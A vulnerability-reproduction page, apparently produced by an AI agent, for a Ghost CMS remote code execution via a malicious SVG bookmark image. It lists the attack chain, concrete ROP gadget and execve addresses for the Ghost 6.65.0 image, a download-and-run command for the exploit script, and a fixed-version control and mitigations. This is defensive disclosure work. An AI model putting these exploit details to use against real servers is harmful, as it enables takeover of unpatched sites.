Skip to content

CVE-2026-105642: Verified Reproduction

CVE-2026-105642: Ghost CMS RCE via Bookmark Card Images SVG handling in bundled image processing library

CVE-2026-105642 is verified against TryGhost/Ghost · github. Affected versions: >= 6.56.0, < 6.67.0 (advisory range header); advisory body text states v6.56.0 up to v6.65.0. Fixed in 6.67.0 (official fix per advisory). Dependency analysis indicates the actual fix most likely landed in 6.66.0 via a sharp/libvips bump: 6.56.0-6.65.0 pin sharp 0.35.3 + image-size 1.2.1; 6.66.0 bumps to sharp 0.35.5 (bundles libvips 8.18.7 with updated librsvg and libheif) and image-size 2.0.4. The v6.66.0...v6.67.0 diff contains no commits touching image/SVG code. Vulnerability class: RCE. This high reproduction includes runnable sandbox proof, artifacts, and a plain-text agent view under REPRO-2026-00380.

REPRO-2026-00380 TryGhost/Ghost · github RCE Oct 6, 2026 CVE entry .txt
Severity
HIGH
Confidence
HIGH
Reproduced in
161m 52s
Tool calls
530
Spend
$34.12
01 · Overview

What Is CVE-2026-105642?

CVE-2026-105642 is a high-severity RCE vulnerability affecting TryGhost/Ghost >= 6.56.0, < 6.67.0 (advisory range header); advisory body text states v6.56.0 up to v6.65.0. Pruva has independently reproduced it and publishes a verified, runnable proof-of-concept (reproduction REPRO-2026-00380).

02 · Severity & CVSS

CVE-2026-105642 Severity

CVE-2026-105642 is rated high severity.

HIGH threat level
03 · Affected Versions

Affected TryGhost/Ghost Versions

TryGhost/Ghost · github versions >= 6.56.0, < 6.67.0 (advisory range header); advisory body text states v6.56.0 up to v6.65.0 are affected.

How to Reproduce CVE-2026-105642

$ pruva-verify REPRO-2026-00380
or curl -O https://www.pruva.dev/api/v1/reproductions/REPRO-2026-00380/artifacts/bundle/repro/reproduction_steps.sh && chmod +x reproduction_steps.sh && ./reproduction_steps.sh
Run in a VM or disposable container. This exploits a real vulnerability.
06 · Proof of Reproduction

Proof of Reproduction for CVE-2026-105642

Remote code execution — reproduced
  • reached the target end-to-end
  • full exploit chain demonstrated
  • on the real production code path
  • high confidence
  • the upstream fix blocks the same trigger
Trigger

A genuine Contributor selects an attacker-controlled bookmark URL whose og:image is a 24,410-byte calibrated nested-XInclude VectorFreed SVG fetched and rasterized by Ghost

Attack chain
  1. Contributor session
  2. GET /ghost/api/admin/oembed/?url=http://attacker-rce:8790/&type=bookmark
  3. Ghost fetches / and /evil.svg
  4. sharp 0.35.3/libvips 8.18.3/librsvg 2.62.90 UAF
  5. non-PIE Node 22 ROP
  6. execve(/bin/sh -c attacker command)
  7. unique target-local marker
How the agent worked 1,041 events · 530 tool calls · 2h 42m
2h 42mDuration
530Tool calls
118Reasoning steps
1,041Events
51Dead-ends
Agent activity over 2h 42m
Policy
1
Support
15
Repro
711
Judge
81
Variant
228
Verify
1
0:00161:42

Root Cause and Exploit Chain for CVE-2026-105642

Versions: product: TryGhost/Ghost, through bundled sharp → libvips → librsvg → libxml2 native SVG processing.Fixed: runtime closure: official ghost:6.67.0 image digest sha256:9482099b1c8700764dc3d38c293e09c16d70f8bacc14af589c47d90b4bebd017; sharp 0.35.5, libvips 8.18.7, librsvg 2.63.2, libxml2 2.15.4.

Ghost >= 6.56.0 and < 6.67.0 bundles a vulnerable native image-processing stack: sharp 0.35.3 uses libvips 8.18.3 with librsvg 2.62.90 and libxml2 2.15.3. A genuine low-privilege Contributor can call Ghost's admin oEmbed bookmark endpoint with an attacker-controlled URL. Ghost fetches the page, follows its og:image to an attacker-hosted SVG, and rasterizes that SVG inside the main Node.js process. The crafted SVG causes librsvg's nested-XInclude duplicate-entity use-after-free (CVE-2026-96889): the recursive parse replaces and frees an xmlEntity object still in use by the outer libxml2 parse. A calibrated SVG path then reoccupies and corrupts the stale parser state, pivots through fixed addresses in Ghost's non-PIE Node 22.23.3 executable, and invokes execve("/bin/sh", ["/bin/sh", "-c", command], NULL). This run reproduced the complete Contributor-to-command-execution chain twice through the real Ghost endpoint under the default allocator.

  • Affected product: TryGhost/Ghost, through bundled sharp → libvips → librsvg → libxml2 native SVG processing.
  • Affected versions: Ghost >= 6.56.0 and < 6.67.0 according to the Ghost advisory. This run confirms Ghost 6.65.0 is vulnerable and Ghost 6.67.0 is fixed.
  • Vulnerable runtime closure: official ghost:6.65.0 image digest sha256:90592b712b6b6502c3169cf12bcb6e5f7b8c8315968b8bb53e08e879892641fa; Node 22.23.3, sharp 0.35.3, libvips 8.18.3, librsvg 2.62.90, libxml2 2.15.3.
  • Fixed runtime closure: official ghost:6.67.0 image digest sha256:9482099b1c8700764dc3d38c293e09c16d70f8bacc14af589c47d90b4bebd017; sharp 0.35.5, libvips 8.18.7, librsvg 2.63.2, libxml2 2.15.4.
  • Risk: high/critical attacker impact within the Ghost process. Any authenticated staff user, including a Contributor, can execute arbitrary shell commands with the Ghost server process's privileges. This permits reading application secrets and content, modifying data accessible to the process, establishing callbacks, and stopping or replacing the service.
  • Configuration note: NODE_ENV=development is used only so Ghost's private-IP SSRF guard permits the required local attacker host. A public attacker host in production reaches the same oEmbed → image-transform → sharp path. The exploit itself uses the normal/default glibc allocator; no GLIBC_TUNABLES, MALLOC_PERTURB_, sanitizer, debugger, or allocator tripwire is present.

Impact Parity

  • Disclosed/claimed maximum impact: arbitrary command execution on the Ghost server via an attacker-controlled bookmark-card image, initiated by a Contributor.
  • Reproduced impact: two fresh vulnerable Ghost 6.65.0 processes each received a real authenticated Contributor request to GET /ghost/api/admin/oembed/?url=http://attacker-rce:8790/&type=bookmark. Ghost fetched / and /evil.svg from the attacker server. The 24,410-byte SVG executed a unique attacker-selected shell command in the Ghost process and wrote a unique target-local file under /tmp. Both marker files were copied out and their bytes match the unique command arguments. The successful execve replaced Node, so each vulnerable container exited cleanly with code 0 and the HTTP connection closed. Two fresh Ghost 6.67.0 controls reached the same endpoint and fetched the identical payload, returned HTTP 200, stayed running, and produced no marker.
  • Parity: full.
  • Not demonstrated: no reverse shell was needed because target-local command markers are direct, deterministic evidence of arbitrary command execution. The proof deliberately uses a harmless echo command.

Root Cause

librsvg's XML loading layer keeps an XmlState entity map shared across recursive parses used for XInclude processing. The outer SVG defines an entity whose replacement text starts another SVG parse via xi:include. While libxml2 is expanding that outer entity and retaining its xmlEntity *, the included document declares an entity with the same name. Vulnerable librsvg inserts the new declaration into the shared map, replaces the existing map entry, and drops/frees the original approximately 144-byte libxml2 entity object. Control returns to the outer libxml2 parse, which continues reading and writing the freed object.

The command-execution payload extends this UAF with a crafted SVG path. A measured amount of text and a specific sequence of path commands reoccupy the stale state with attacker-controlled coordinates. Those IEEE-754 coordinate bit patterns encode a stack-pivot and ROP chain. Ghost's official Node 22.23.3 executable is non-PIE (ELF EXEC, build ID a9b42ba41811e1291145304b7c278c5d3fbaca71), so its gadget and execve@plt addresses are stable despite system ASLR. The Ghost-specific chain uses:

  • PIVOT_LOAD = 0x1f35396 (mov rax, [rdx]; ret)
  • PIVOT_STACK = 0x228f8b8 (lea rsp, [rax+0x30]; ret)
  • POP_RDI = 0x1201233, POP_RAX = 0xe81d9b, POP_RSI = 0xf9522e, POP_RDX = 0xe386e2
  • STOSQ_RET = 0x12ec8e5, writable scratch at 0x6b5f500, and execve@plt = 0xe38e30
  • Ghost/librsvg 2.62.90 layout calibration BASELINE_PADDING = 22264, with target path length 1270

The ROP chain writes /bin/sh, -c, the attacker command, and argv into Node's writable data area, then calls execve. The successful process exit code 0 is consistent with Node being replaced by /bin/sh -c 'echo ...' and the shell finishing successfully.

The upstream librsvg fix rejects the duplicate recursive entity condition rather than replacing and freeing the active entity. Ghost 6.67.0 includes the corrected dependency stack. Relevant references:

Reproduction Steps

  1. Run bundle/repro/reproduction_steps.sh from any directory. Docker, curl, jq, and Python 3 are required on the host. The script uses only immutable image digests.

  2. The script:

    • verifies/pulls exact Ghost 6.65.0 and 6.67.0 images and records the bundled dependency versions;
    • generates the Ghost Node 22/librsvg 2.62.90 calibrated RCE SVG at runtime;
    • starts a local attacker-controlled HTTP host serving a bookmark HTML page and evil.svg;
    • starts a local SMTP sink, performs real Ghost first-run setup as Owner, invites the Contributor role through POST /ghost/api/admin/invites/, follows the captured invitation token through POST /ghost/api/admin/authentication/invitation/, and logs in as the Contributor;
    • calls /ghost/api/admin/users/me/?include=roles with the exact exploit cookie and requires roles[].name == "Contributor";
    • sends the real authenticated oEmbed bookmark request;
    • runs two isolated vulnerable attempts and two isolated fixed attempts under the default allocator;
    • validates unique target-local vulnerable markers, their exact bytes, fixed absence, fixed service health, and attacker-server fetches;
    • writes strict bundle/repro/runtime_manifest.json only after evidence files are immutable.
  3. Expected terminal lines:

    RESULT vuln 1 marker=true status=exited exit=0 http=000
    RESULT vuln 2 marker=true status=exited exit=0 http=000
    RESULT fixed 1 marker=false status=running exit=0 http=200
    RESULT fixed 2 marker=false status=running exit=0 http=200
    === CONFIRMED: Ghost 6.65.0 Contributor-to-command-execution RCE; fixed 6.67.0 negative control ===
    

The script was executed successfully twice consecutively from clean per-run evidence directories.

Evidence

  • bundle/logs/reproduction_steps.log — complete final run transcript and all four RESULT lines.
  • bundle/logs/attacker-rce.log — four independent Ghost-side rounds, each showing GET / followed by GET /evil.svg; this proves the remote product fetch boundary for vulnerable and fixed attempts.
  • bundle/repro/artifacts/rce/contributor-identity-{vuln,fixed}-{1,2}.json — response from the authenticated users/me endpoint proving the exact exploit session is assigned only the Contributor role. Example: "roles":[{"name":"Contributor"...}].
  • bundle/repro/artifacts/rce/oembed-request-{vuln,fixed}-{1,2}.txt — exact endpoint shape and authenticated-role description.
  • bundle/repro/artifacts/rce/marker-vuln-1.txt and marker-vuln-2.txt — unique target-local command outputs. Their trimmed bytes equal the unique markers in the matching state and observation records.
  • bundle/repro/artifacts/rce/state-vuln-{1,2}.txt — allocator=default, contributor_identity_verified=true, marker_present=true, and container_status=exited exit_code=0.
  • bundle/repro/artifacts/rce/state-fixed-{1,2}.txt — marker_present=false, container_status=running, exit_code=0, and oEmbed HTTP 200.
  • bundle/repro/artifacts/rce/observation-vuln-{1,2}.json — strict command-capability observations with target path reached and marker present.
  • bundle/repro/artifacts/rce/observation-fixed-{1,2}.json — negative controls with target path reached and marker absent.
  • bundle/repro/artifacts/rce/oembed-response-fixed-{1,2}.txt — normal HTTP 200 bookmark responses from the fixed service.
  • bundle/repro/artifacts/rce/versions.txt — exact Node/sharp/libvips/librsvg/libxml2 versions.
  • bundle/repro/runtime_manifest.json — immutable image identity, endpoint details, runtime stack, proof-artifact list, and SHA-256 mapping.

Current-run exploit knowledge was also recorded as control-flow primitive cbfb8977-bd36-46ee-aeea-b8de835e5e97 and derived command-execution capability 639cc612-c512-44d5-b35b-637daa6ae42f.

Recommendations / Next Steps

  • Upgrade Ghost to 6.67.0 or later. Ensure the effective bundled stack contains sharp >= 0.35.5 and librsvg >= 2.63.2 (or a documented security backport).
  • If immediate upgrade is impossible, prevent untrusted SVGs from entering bookmark-image rasterization: reject image/svg+xml, disable SVG rasterization for bookmark metadata, or isolate image conversion in a strongly sandboxed process without application secrets.
  • Restrict the oEmbed/bookmark endpoint to trusted roles as defense in depth. Contributor access is enough in the vulnerable release.
  • Restrict outbound network access from Ghost. This does not remove parser corruption but limits remote payload delivery and callbacks.
  • Add regression coverage that a nested XInclude document redeclaring an active entity is rejected, does not crash, and does not invoke image conversion side effects.
  • Test with the real product endpoint and low-privilege role, not only a direct sharp harness. Keep a fixed-version negative control and verify the service remains healthy.

Additional Notes

  • Idempotency: the script removes and recreates all named containers, its Docker network, runtime work directory, and proof-artifact directory. It was run twice consecutively with the same four-way vulnerable/fixed result.
  • Default allocator: unlike the earlier crash-only reproduction, this complete RCE proof sets no allocator tunables or perturbation variables.
  • No sanitizer/instrumentation: command execution occurs in uninstrumented official Ghost images. No sanitizer or debugger is used by the final proof.
  • Local attacker host: Ghost's production SSRF policy rejects private addresses, so the reproducible no-egress lab sets NODE_ENV=development solely to allow the local attacker host. A public attacker host does not need this accommodation; the image parsing and exploit code path are unchanged.
  • Build specificity: the ROP gadget addresses and 22,264-byte layout calibration are specific to the official Ghost 6.65.0 x86-64 image closure. This specificity is normal for a native memory-corruption exploit and is why the script pins the immutable image digest.
  • Process exit behavior: successful execve replaces Node with /bin/sh. The HTTP response is empty/closed and the container exits 0 after the harmless shell command completes; the unique marker is the success oracle, not a crash code.

CVE-2026-105642 Reproduction Transcript

The agent's step-by-step process — every tool call, every handoff, the moment the exploit fired.

Full session Replay every step — scrub the timeline or play it back.

Event 1/40
0:004:40
0:00
session startedaccounts/fireworks/models/kimi-k3 · CVE-2026-105642 · REPRO-20
0:06
0:17
0:22
web search
0:37
0:39
web search
0:53
0:58
web search
2:14
2:14
extract_facts
no facts extracted
2:19
2:19
supportclaim_contract
2:31
2:32
2:32
2:32
2:36
2:36
2:36
2:47
2:47
$ls /pruva/project-cache/ 2>/dev/null; echo ---; ls /pruva/project-cache/.pruva/ 2>/dev/null; cat /pruva/project-cache/.pruva/cache_manifest.json 2>/dev/null; echo ---; docker ps 2>&1 | head -5; echo ---; node --version 2>&1; python3 --version; git --version
0.4s✓
repo-mirrors
---
cache_manifest.json
{
  "schema_version": 1,
  "entries": [
    {
      "path": "repo-mirrors",
3:00
$ls /pruva/project-cache/repo-mirrors/ 2>/dev/null; echo ---; docker images 2>/dev/null | head -20; echo ---; docker info 2>&1 | grep -iE 'server version|storage|error' | head -5
0.4s✓
---
IMAGE                                ID             DISK USAGE   CONTENT SIZE   EXTRA
pruva/rootless-readiness:docker-27   467ea3db0017       1.47MB             0B        
---
 Server Version: 27.5.1
 Storage Driver: overlay2
3:41
3:42
3:49
web search
3:58
4:01
web search
4:40

Artifacts and Evidence for CVE-2026-105642

Scripts, logs, diffs, and output captured during the reproduction.

bundle/logs/smtp-rce.log0.0 KB
bundle/repro/artifacts/rce/contributor-accept-fixed-1.json0.0 KB
bundle/repro/artifacts/rce/contributor-accept-fixed-2.json0.0 KB
bundle/repro/artifacts/rce/contributor-accept-vuln-1.json0.0 KB
bundle/repro/artifacts/rce/contributor-accept-vuln-2.json0.0 KB
bundle/repro/artifacts/rce/contributor-identity-fixed-1.json1.1 KB
bundle/repro/artifacts/rce/contributor-identity-fixed-2.json1.1 KB
bundle/repro/artifacts/rce/contributor-identity-vuln-1.json1.1 KB
bundle/repro/artifacts/rce/contributor-identity-vuln-2.json1.1 KB
bundle/repro/artifacts/rce/contributor-login-fixed-1.txt0.0 KB
bundle/repro/artifacts/rce/contributor-login-fixed-2.txt0.0 KB
bundle/repro/artifacts/rce/contributor-login-vuln-1.txt0.0 KB
bundle/repro/artifacts/rce/contributor-login-vuln-2.txt0.0 KB
bundle/repro/artifacts/rce/invite-fixed-1.json0.2 KB
bundle/repro/artifacts/rce/invite-fixed-2.json0.2 KB
bundle/repro/artifacts/rce/invite-vuln-1.json0.2 KB
bundle/repro/artifacts/rce/invite-vuln-2.json0.2 KB
bundle/repro/artifacts/rce/observation-fixed-2.json0.2 KB
bundle/repro/artifacts/rce/oembed-request-fixed-1.txt0.1 KB
bundle/repro/artifacts/rce/oembed-request-fixed-2.txt0.1 KB
bundle/repro/artifacts/rce/oembed-request-vuln-1.txt0.1 KB
bundle/repro/artifacts/rce/oembed-request-vuln-2.txt0.1 KB
bundle/repro/artifacts/rce/oembed-response-fixed-1.txt0.4 KB
bundle/repro/artifacts/rce/oembed-response-fixed-2.txt0.4 KB
bundle/repro/artifacts/rce/oembed-response-vuln-1.txt0.0 KB
bundle/repro/artifacts/rce/oembed-response-vuln-2.txt0.0 KB
bundle/repro/artifacts/rce/owner-login-fixed-1.txt0.0 KB
bundle/repro/artifacts/rce/owner-login-fixed-2.txt0.0 KB
bundle/repro/artifacts/rce/owner-login-vuln-1.txt0.0 KB
bundle/repro/artifacts/rce/owner-login-vuln-2.txt0.0 KB
bundle/repro/artifacts/rce/payload-fixed-1.txt0.1 KB
bundle/repro/artifacts/rce/payload-fixed-2.txt0.1 KB
bundle/repro/artifacts/rce/payload-vuln-1.txt0.1 KB
bundle/repro/artifacts/rce/payload-vuln-2.txt0.1 KB
bundle/repro/artifacts/rce/setup-fixed-1.json0.9 KB
bundle/repro/artifacts/rce/setup-fixed-2.json0.9 KB
bundle/repro/artifacts/rce/setup-vuln-1.json0.9 KB
bundle/repro/artifacts/rce/setup-vuln-2.json0.9 KB
bundle/repro/artifacts/rce/state-fixed-1.txt0.3 KB
bundle/repro/artifacts/rce/state-fixed-2.txt0.3 KB
bundle/repro/artifacts/rce/state-vuln-1.txt0.3 KB
bundle/repro/artifacts/rce/state-vuln-2.txt0.3 KB
bundle/repro/artifacts/rce/versions.txt0.1 KB
bundle/repro/rca_report.md12.1 KB
bundle/repro/reproduction_steps.sh19.1 KB
bundle/repro/runtime_manifest.json9.2 KB
bundle/repro/validation_verdict.json1.5 KB
08 · How to Fix

How to Fix CVE-2026-105642

Upgrade TryGhost/Ghost · github to 6.67.0 (official fix per advisory). Dependency analysis indicates the actual fix most likely landed in 6.66.0 via a sharp/libvips bump: 6.56.0-6.65.0 pin sharp 0.35.3 + image-size 1.2.1; 6.66.0 bumps to sharp 0.35.5 (bundles libvips 8.18.7 with updated librsvg and libheif) and image-size 2.0.4. The v6.66.0...v6.67.0 diff contains no commits touching image/SVG code. or later.

Coming soon

Step-by-step mitigation and hardening guidance for CVE-2026-105642 — configuration checks, workarounds where no patch exists, and how to verify you're protected — is on the way.

10 · FAQ

FAQ: CVE-2026-105642

Is CVE-2026-105642 exploitable?

Yes. Pruva independently reproduced CVE-2026-105642 in TryGhost/Ghost and verified the exploit fires end-to-end in a sandboxed environment. A runnable proof-of-concept script and the full agent transcript are on this page (reproduction REPRO-2026-00380).

How severe is CVE-2026-105642?

CVE-2026-105642 is rated high severity.

What type of vulnerability is CVE-2026-105642?

CVE-2026-105642 is classified as CWE-94 (Code Injection), CWE-1395 (Dependency on Vulnerable Third-Party Component) (Improper Control of Generation of Code ('Code Injection')), a RCE vulnerability.

Which versions of TryGhost/Ghost are affected by CVE-2026-105642?

TryGhost/Ghost >= 6.56.0, < 6.67.0 (advisory range header); advisory body text states v6.56.0 up to v6.65.0 is affected by CVE-2026-105642.

Is there a fix for CVE-2026-105642?

Yes. CVE-2026-105642 is fixed in TryGhost/Ghost 6.67.0 (official fix per advisory). Dependency analysis indicates the actual fix most likely landed in 6.66.0 via a sharp/libvips bump: 6.56.0-6.65.0 pin sharp 0.35.3 + image-size 1.2.1; 6.66.0 bumps to sharp 0.35.5 (bundles libvips 8.18.7 with updated librsvg and libheif) and image-size 2.0.4. The v6.66.0...v6.67.0 diff contains no commits touching image/SVG code.. Upgrading to the fixed version remediates the issue.

How can I reproduce CVE-2026-105642?

Pruva provides a verified reproduction script on this page. Download it and run it inside an isolated environment such as a container or virtual machine — never against production. The reproduction was confirmed end-to-end by Pruva's automated agents.

Is the CVE-2026-105642 reproduction verified?

Yes. Pruva reproduced CVE-2026-105642 with high confidence in a sandboxed environment, capturing the full agent transcript and artifacts as evidence.
11 · References

References for CVE-2026-105642

Authoritative sources for CVE-2026-105642 — official vulnerability databases and the upstream advisory. Pruva's reproduction verifies the issue firsthand; these are the primary records to corroborate it.